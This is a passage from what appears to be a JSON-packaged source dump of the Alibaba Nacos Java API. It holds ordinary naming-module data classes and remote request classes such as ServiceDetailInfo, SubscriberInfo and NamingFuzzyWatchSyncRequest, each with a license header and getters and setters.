persistentIpPortClientCount;\n    }\n    \n    public void setPersistentIpPortClientCount(Integer persistentIpPortClientCount) {\n        this.persistentIpPortClientCount = persistentIpPortClientCount;\n    }\n    \n    public Integer getResponsibleClientCount() {\n        return responsibleClientCount;\n    }\n    \n    public void setResponsibleClientCount(Integer responsibleClientCount) {\n        this.responsibleClientCount = responsibleClientCount;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/maintainer/ServiceDetailInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\nimport com.alibaba.nacos.api.selector.Selector;\n\nimport java.io.Serializable;\nimport java.util.Map;\n\n/**\n * Service detail information for nacos maintain client, contain service detail information and cluster information.\n *\n * @author xiweng.yy\n */\npublic class ServiceDetailInfo implements Serializable {\n    \n    private static final long serialVersionUID = 6351606608785841722L;\n    \n    private String namespaceId;\n    \n    private String serviceName;\n    \n    private String groupName;\n    \n    private Map<String, ClusterInfo> clusterMap;\n    \n    private Map<String, String> metadata;\n    \n    private float protectThreshold;\n    \n    private Selector selector;\n    \n    private Boolean ephemeral;\n    \n    /**\n     * Getter method for property <tt>serviceName</tt>.\n     *\n     * @return property value of serviceName\n     */\n    public String getServiceName() {\n        return serviceName;\n    }\n    \n    /**\n     * Setter method for property <tt>serviceName </tt>.\n     *\n     * @param serviceName value to be assigned to property serviceName\n     */\n    public void setServiceName(String serviceName) {\n        this.serviceName = serviceName;\n    }\n    \n    public String getGroupName() {\n        return groupName;\n    }\n    \n    public void setGroupName(String groupName) {\n        this.groupName = groupName;\n    }\n    \n    /**\n     * Getter method for property <tt>clusterMap</tt>.\n     *\n     * @return property value of clusterMap\n     */\n    public Map<String, ClusterInfo> getClusterMap() {\n        return clusterMap;\n    }\n    \n    /**\n     * Setter method for property <tt>clusterMap </tt>.\n     *\n     * @param clusterMap value to be assigned to property clusterMap\n     */\n    public void setClusterMap(Map<String, ClusterInfo> clusterMap) {\n        this.clusterMap = clusterMap;\n    }\n    \n    /**\n     * Getter method for property <tt>metadata</tt>.\n     *\n     * @return property value of metadata\n     */\n    public Map<String, String> getMetadata() {\n        return metadata;\n    }\n    \n    /**\n     * Setter method for property <tt>metadata </tt>.\n     *\n     * @param metadata value to be assigned to property metadata\n     */\n    public void setMetadata(Map<String, String> metadata) {\n        this.metadata = metadata;\n    }\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n    \n    public float getProtectThreshold() {\n        return protectThreshold;\n    }\n    \n    public void setProtectThreshold(float protectThreshold) {\n        this.protectThreshold = protectThreshold;\n    }\n    \n    public Selector getSelector() {\n        return selector;\n    }\n    \n    public void setSelector(Selector selector) {\n        this.selector = selector;\n    }\n    \n    public Boolean isEphemeral() {\n        return ephemeral;\n    }\n    \n    public void setEphemeral(boolean ephemeral) {\n        this.ephemeral = ephemeral;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/maintainer/ServiceView.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\n/**\n * Service view.\n *\n * @author nkorange\n */\npublic class ServiceView {\n    \n    private String name;\n    \n    private String groupName;\n    \n    private int clusterCount;\n    \n    private int ipCount;\n    \n    private int healthyInstanceCount;\n    \n    private String triggerFlag;\n    \n    public String getName() {\n        return name;\n    }\n    \n    public void setName(String name) {\n        this.name = name;\n    }\n    \n    public String getGroupName() {\n        return groupName;\n    }\n    \n    public void setGroupName(String groupName) {\n        this.groupName = groupName;\n    }\n    \n    public int getClusterCount() {\n        return clusterCount;\n    }\n    \n    public void setClusterCount(int clusterCount) {\n        this.clusterCount = clusterCount;\n    }\n    \n    public int getIpCount() {\n        return ipCount;\n    }\n    \n    public void setIpCount(int ipCount) {\n        this.ipCount = ipCount;\n    }\n    \n    public int getHealthyInstanceCount() {\n        return healthyInstanceCount;\n    }\n    \n    public void setHealthyInstanceCount(int healthyInstanceCount) {\n        this.healthyInstanceCount = healthyInstanceCount;\n    }\n    \n    public String getTriggerFlag() {\n        return triggerFlag;\n    }\n    \n    public void setTriggerFlag(String triggerFlag) {\n        this.triggerFlag = triggerFlag;\n    }\n    \n    @Override\n    public String toString() {\n        return \"ServiceView{\" + \"name='\" + name + '\\'' + \", groupName='\" + groupName + '\\'' + \", clusterCount=\"\n                + clusterCount + \", ipCount=\" + ipCount + \", healthyInstanceCount=\" + healthyInstanceCount\n                + \", triggerFlag='\" + triggerFlag + '\\'' + '}';\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/maintainer/SubscriberInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\nimport java.io.Serializable;\n\n/**\n * Nacos service subscriber information.\n *\n * @author xiweng.yy\n */\npublic class SubscriberInfo implements Serializable {\n    \n    private static final long serialVersionUID = -3803634488440573042L;\n    \n    private String namespaceId;\n    \n    private String groupName;\n    \n    private String serviceName;\n    \n    private String ip;\n    \n    private int port;\n    \n    private String agent;\n    \n    private String appName;\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n    \n    public String getGroupName() {\n        return groupName;\n    }\n    \n    public void setGroupName(String groupName) {\n        this.groupName = groupName;\n    }\n    \n    public String getServiceName() {\n        return serviceName;\n    }\n    \n    public void setServiceName(String serviceName) {\n        this.serviceName = serviceName;\n    }\n    \n    public String getIp() {\n        return ip;\n    }\n    \n    public void setIp(String ip) {\n        this.ip = ip;\n    }\n    \n    public int getPort() {\n        return port;\n    }\n    \n    public void setPort(int port) {\n        this.port = port;\n    }\n    \n    public String getAgent() {\n        return agent;\n    }\n    \n    public void setAgent(String agent) {\n        this.agent = agent;\n    }\n    \n    public String getAppName() {\n        return appName;\n    }\n    \n    public void setAppName(String appName) {\n        this.appName = appName;\n    }\n    \n    public String getAddress() {\n        return ip + \":\" + port;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/NamingRemoteConstants.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote;\n\n/**\n * Retain all naming module request type constants.\n *\n * @author liuzunfei\n * @author xiweng.yy\n */\npublic class NamingRemoteConstants {\n    \n    public static final String REGISTER_INSTANCE = \"registerInstance\";\n    \n    public static final String BATCH_REGISTER_INSTANCE = \"batchRegisterInstance\";\n    \n    public static final String DE_REGISTER_INSTANCE = \"deregisterInstance\";\n    \n    public static final String QUERY_SERVICE = \"queryService\";\n    \n    public static final String SUBSCRIBE_SERVICE = \"subscribeService\";\n    \n    public static final String NOTIFY_SUBSCRIBER = \"notifySubscriber\";\n    \n    public static final String LIST_SERVICE = \"listService\";\n    \n    public static final String FORWARD_INSTANCE = \"forwardInstance\";\n    \n    public static final String FORWARD_HEART_BEAT = \"forwardHeartBeat\";\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/request/AbstractFuzzyWatchNotifyRequest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport com.alibaba.nacos.api.remote.request.ServerRequest;\n\nimport static com.alibaba.nacos.api.common.Constants.Naming.NAMING_MODULE;\n\n/**\n * Abstract fuzzy watch notify request, including basic fuzzy watch notify information.\n *\n * @author tanyongquan\n */\npublic abstract class AbstractFuzzyWatchNotifyRequest extends ServerRequest {\n    \n    private String syncType;\n    \n    public AbstractFuzzyWatchNotifyRequest() {\n    }\n    \n    public AbstractFuzzyWatchNotifyRequest(String syncType) {\n        this.syncType = syncType;\n    }\n    \n    public String getSyncType() {\n        return syncType;\n    }\n    \n    public void setSyncType(String syncType) {\n        this.syncType = syncType;\n    }\n    \n    @Override\n    public String getModule() {\n        return NAMING_MODULE;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/request/AbstractNamingRequest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport com.alibaba.nacos.api.remote.request.Request;\n\nimport static com.alibaba.nacos.api.common.Constants.Naming.NAMING_MODULE;\n\n/**\n * Uniform remote request of naming module.\n *\n * @author liuzunfei\n */\npublic abstract class AbstractNamingRequest extends Request {\n    \n    private String namespace;\n    \n    private String serviceName;\n    \n    private String groupName;\n    \n    public AbstractNamingRequest() {\n    }\n    \n    public AbstractNamingRequest(String namespace, String serviceName, String groupName) {\n        this.namespace = namespace;\n        this.serviceName = serviceName;\n        this.groupName = groupName;\n    }\n    \n    @Override\n    public String getModule() {\n        return NAMING_MODULE;\n    }\n    \n    public String getNamespace() {\n        return namespace;\n    }\n    \n    public void setNamespace(String namespace) {\n        this.namespace = namespace;\n    }\n    \n    public String getServiceName() {\n        return serviceName;\n    }\n    \n    public void setServiceName(String serviceName) {\n        this.serviceName = serviceName;\n    }\n    \n    public String getGroupName() {\n        return groupName;\n    }\n    \n    public void setGroupName(String groupName) {\n        this.groupName = groupName;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/request/BatchInstanceRequest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\n\nimport java.util.List;\n\n/**\n * The client registers multiple service instance request.\n *\n * @author <a href=\"mailto:chenhao26@xiaomi.com\">chenhao26</a>\n */\npublic class BatchInstanceRequest extends AbstractNamingRequest {\n    \n    private String type;\n    \n    /**\n     * save all service instance.\n     */\n    private List<Instance> instances;\n    \n    public BatchInstanceRequest() {\n    }\n    \n    public BatchInstanceRequest(String namespace, String serviceName, String groupName, String type,\n            List<Instance> instances) {\n        super(namespace, serviceName, groupName);\n        this.type = type;\n        this.instances = instances;\n    }\n    \n    public void setType(String type) {\n        this.type = type;\n    }\n    \n    public String getType() {\n        return this.type;\n    }\n    \n    public List<Instance> getInstances() {\n        return instances;\n    }\n    \n    public void setInstances(List<Instance> instances) {\n        this.instances = instances;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/request/InstanceRequest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\n\n/**\n * Nacos instances request.\n *\n * @author xiweng.yy\n */\npublic class InstanceRequest extends AbstractNamingRequest {\n    \n    private String type;\n    \n    private Instance instance;\n    \n    public InstanceRequest() {\n    }\n    \n    public InstanceRequest(String namespace, String serviceName, String groupName, String type, Instance instance) {\n        super(namespace, serviceName, groupName);\n        this.type = type;\n        this.instance = instance;\n    }\n    \n    public void setType(String type) {\n        this.type = type;\n    }\n    \n    public String getType() {\n        return this.type;\n    }\n    \n    public void setInstance(Instance instance) {\n        this.instance = instance;\n    }\n    \n    public Instance getInstance() {\n        return instance;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/request/NamingFuzzyWatchChangeNotifyRequest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport static com.alibaba.nacos.api.common.Constants.FUZZY_WATCH_RESOURCE_CHANGED;\n\n/**\n * Nacos fuzzy watch notify service change request, use it when one of the services changes.\n *\n * @author tanyongquan\n */\npublic class NamingFuzzyWatchChangeNotifyRequest extends AbstractFuzzyWatchNotifyRequest {\n    \n    private String serviceKey;\n    \n    private String changedType;\n    \n    public NamingFuzzyWatchChangeNotifyRequest() {\n    \n    }\n    \n    public NamingFuzzyWatchChangeNotifyRequest(String serviceKey, String changedType) {\n        super(FUZZY_WATCH_RESOURCE_CHANGED);\n        this.serviceKey = serviceKey;\n        this.changedType = changedType;\n    }\n    \n    public String getServiceKey() {\n        return serviceKey;\n    }\n    \n    public void setServiceKey(String serviceKey) {\n        this.serviceKey = serviceKey;\n    }\n    \n    public String getChangedType() {\n        return changedType;\n    }\n    \n    public void setChangedType(String changedType) {\n        this.changedType = changedType;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/request/NamingFuzzyWatchRequest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport com.alibaba.nacos.api.remote.request.Request;\n\nimport java.util.Set;\n\nimport static com.alibaba.nacos.api.common.Constants.Naming.NAMING_MODULE;\n\n/**\n * Nacos naming fuzzy watch service request.\n *\n * @author tanyongquan\n */\npublic class NamingFuzzyWatchRequest extends Request {\n    \n    private boolean isInitializing;\n    \n    private String namespace;\n    \n    /**\n     * The namespace or tenant associated with the configurations.\n     */\n    private String groupKeyPattern;\n    \n    private Set<String> receivedGroupKeys;\n    \n    private String watchType;\n    \n    public NamingFuzzyWatchRequest() {\n    }\n    \n    public NamingFuzzyWatchRequest(String groupKeyPattern, String watchType) {\n        this.watchType = watchType;\n        this.groupKeyPattern = groupKeyPattern;\n    }\n    \n    public String getGroupKeyPattern() {\n        return groupKeyPattern;\n    }\n    \n    public void setGroupKeyPattern(String groupKeyPattern) {\n        this.groupKeyPattern = groupKeyPattern;\n    }\n    \n    public String getWatchType() {\n        return watchType;\n    }\n    \n    public void setWatchType(String watchType) {\n        this.watchType = watchType;\n    }\n    \n    public Set<String> getReceivedGroupKeys() {\n        return receivedGroupKeys;\n    }\n    \n    public String getNamespace() {\n        return namespace;\n    }\n    \n    public void setNamespace(String namespace) {\n        this.namespace = namespace;\n    }\n    \n    public boolean isInitializing() {\n        return isInitializing;\n    }\n    \n    public void setInitializing(boolean initializing) {\n        isInitializing = initializing;\n    }\n    \n    public void setReceivedGroupKeys(Set<String> receivedGroupKeys) {\n        this.receivedGroupKeys = receivedGroupKeys;\n    }\n    \n    @Override\n    public String getModule() {\n        return NAMING_MODULE;\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/request/NamingFuzzyWatchSyncRequest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport java.util.Set;\n\nimport static com.alibaba.nacos.api.common.Constants.Naming.NAMING_MODULE;\n\n/**\n * fuzzy watch sync request from Nacos server.\n *\n * @author shiyiyue\n */\npublic class NamingFuzzyWatchSyncRequest extends AbstractFuzzyWatchNotifyRequest {\n    \n    /**\n     * The pattern used to match service keys for the services.\n     */\n    private String groupKeyPattern;\n    \n    /**\n     * The set of contexts containing information about the service.\n     */\n    private Set<Context> contexts;\n    \n    private int totalBatch;\n    \n    private int currentBatch;\n    \n    public NamingFuzzyWatchSyncRequest() {\n    \n    }\n    \n    public NamingFuzzyWatchSyncRequest(String pattern, String syncType, Set<Context> contexts) {\n        super(syncType);\n        this.groupKeyPattern = pattern;\n        this.contexts = contexts;\n    }\n    \n    public int getTotalBatch() {\n        return totalBatch;\n    }\n    \n    public void setTotalBatch(int totalBatch) {\n        this.totalBatch = totalBatch;\n    }\n    \n    public int getCurrentBatch() {\n        return currentBatch;\n    }\n    \n    public void setCurrentBatch(int currentBatch) {\n        this.currentBatch = currentBatch;\n    }\n    \n    /**\n     * Build SyncNotifyRequest.\n     *\n     * @param pattern      pattern\n     * @param syncType     syncType\n     * @param contexts     contexts\n     * @param totalBatch   totalBatch\n     * @param currentBatch currentBatch\n     * @return A new NamingFuzzyWatchSyncRequest instance\n     */\n    public static NamingFuzzyWatchSyncRequest buildSyncNotifyRequest(String pattern, String syncType,\n            Set<Context> contexts, int totalBatch, int currentBatch) {\n        NamingFuzzyWatchSyncRequest namingFuzzyWatchSyncRequest = new NamingFuzzyWatchSyncRequest(pattern, syncType,\n                contexts);\n        namingFuzzyWatchSyncRequest.currentBatch = currentBatch;\n        namingFuzzyWatchSyncRequest.totalBatch = totalBatch;\n        return namingFuzzyWatchSyncRequest;\n    }\n    \n    public String getGroupKeyPattern() {\n        return groupKeyPattern;\n    }\n    \n    public void setGroupKeyPattern(String groupKeyPattern) {\n        this.groupKeyPattern = groupKeyPattern;\n    }\n    \n    public Set<Context> getContexts() {\n        return contexts;\n    }\n    \n    public void setContexts(Set<Context> contexts) {\n        this.contexts = contexts;\n    }\n    \n    @Override\n    public String getModule() {\n        return NAMING_MODULE;\n    }\n    \n    /**\n     * fuzzy watch sync context.\n     */\n    public static class Context {\n        \n        /**\n         * service key.\n         */\n        String serviceKey;\n        \n        /**\n         * changed type.\n         */\n        private String changedType;\n        \n        /**\n         * Constructs an empty Context object.\n         */\n        public Context() {\n        }\n        \n        /**\n         * Builds a new context object with the provided parameters.\n         *\n         * @param serviceKey  The groupKey associated of the configuration.\n         * @param changedType The type of the configuration change event.\n         * @return A new context object initialized with the provided parameters.\n         */\n        public static NamingFuzzyWatchSyncRequest.Context build(String serviceKey, String changedType) {\n            NamingFuzzyWatchSyncRequest.Context context = new NamingFuzzyWatchSyncRequest.Context();\n            context.setServiceKey(serviceKey);\n            context.setChangedType(changedType);\n            return context;\n        }\n        \n        public String getServiceKey() {\n            return serviceKey;\n        }\n        \n        public void setServiceKey(String serviceKey) {\n            this.serviceKey = serviceKey;\n        }\n        \n        public String getChangedType() {\n            return changedType;\n        }\n        \n        public void setChangedType(String changedType) {\n            this.changedType = changedType;\n        }\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/request/NotifySubscriberRequest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.remote.request.ServerRequest;\n\nimport static com.alibaba.nacos.api.common.Constants.Naming.NAMING_MODULE;\n\n/**\n * Notify subscriber request.\n *\n * @author xiweng.yy\n */\npublic class NotifySubscriberRequest extends ServerRequest {\n    \n    private String namespace;\n    \n    private String serviceName;\n    \n    private String groupName;\n    \n    private ServiceInfo serviceInfo;\n    \n    public NotifySubscriberRequest() {\n    }\n    \n    @Override\n    public String getModule() {\n        return NAMING_MODULE;\n    }\n    \n    private NotifySubscriberRequest(ServiceInfo serviceInfo) {\n        this.serviceInfo = serviceInfo;\n    }\n    \n    public static NotifySubscriberRequest buildNotifySubscriberRequest(ServiceInfo serviceInfo) {\n        return new NotifySubscriberRequest(serviceInfo);\n    }\n    \n    public ServiceInfo getServiceInfo() {\n        return serviceInfo;\n    }\n    \n    public void setServiceInfo(ServiceInfo serviceInfo) {\n        this.serviceInfo = serviceInfo;\n    }\n    \n    public String getNamespace() {\n        return namespace;\n    }\n    \n    public void setNamespace(String namespace) {\n        this.namespace = namespace;\n    }\n    \n    public String getServiceName() {\n        return serviceName;\n    }\n    \n    public void setServiceName(String serviceName) {\n        this.serviceName = serviceName;\n    }\n    \n    public String getGroupName() {\n        return groupName;\n    }\n    \n    public void setGroupName(String groupName) {\n        this.groupName = groupName;\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/request/PersistentInstanceRequest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\n\n/**\n * Nacos persistent instances request.\n *\n * @author blake.qiu\n */\npublic class PersistentInstanceRequest extends AbstractNamingRequest {\n\n    private String type;\n\n    private Instance instance;\n\n    public PersistentInstanceRequest() {\n    }\n\n    public PersistentInstanceRequest(String namespace, String serviceName, String groupName, String type, Instance instance) {\n        super(namespace, serviceName, groupName);\n        this.type = type;\n        this.instance = instance;\n    }\n\n    public String getType() {\n        return this.type;\n    }\n\n    public void setType(String type) {\n        this.type = type;\n    }\n\n    public Instance getInstance() {\n        return instance;\n    }\n\n    public void setInstance(Instance instance) {\n        this.instance = instance;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/request/ServiceListRequest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\n/**\n * Service list request.\n *\n * @author xiweng.yy\n */\npublic class ServiceListRequest extends AbstractNamingRequest {\n    \n    private int pageNo;\n    \n    private int pageSize;\n    \n    private String selector;\n    \n    public ServiceListRequest() {\n    }\n    \n    public ServiceListRequest(String namespace, String groupName, int pageNo, int pageSize) {\n        super(namespace, \"\", groupName);\n        this.pageNo = pageNo;\n        this.pageSize = pageSize;\n    }\n    \n    public int getPageNo() {\n        return pageNo;\n    }\n    \n    public void setPageNo(int pageNo) {\n        this.pageNo = pageNo;\n    }\n    \n    public int getPageSize() {\n        return pageSize;\n    }\n    \n    public void setPageSize(int pageSize) {\n        this.pageSize = pageSize;\n    }\n    \n    public String getSelector() {\n        return selector;\n    }\n    \n    public void setSelector(String selector) {\n        this.selector = selector;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/request/ServiceQueryRequest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\n/**\n * Nacos naming query request.\n *\n * @author xiweng.yy\n */\npublic class ServiceQueryRequest extends AbstractNamingRequest {\n    \n    private String cluster;\n    \n    private boolean healthyOnly;\n    \n    private int udpPort;\n    \n    public ServiceQueryRequest() {\n    }\n    \n    public ServiceQueryRequest(String namespace, String serviceName, String groupName) {\n        super(namespace, serviceName, groupName);\n    }\n    \n    public String getCluster() {\n        return cluster;\n    }\n    \n    public void setCluster(String cluster) {\n        this.cluster = cluster;\n    }\n    \n    public boolean isHealthyOnly() {\n        return healthyOnly;\n    }\n    \n    public void setHealthyOnly(boolean healthyOnly) {\n        this.healthyOnly = healthyOnly;\n    }\n    \n    public int getUdpPort() {\n        return udpPort;\n    }\n    \n    public void setUdpPort(int udpPort) {\n        this.udpPort = udpPort;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/remote/request/SubscribeServiceRequest.java",
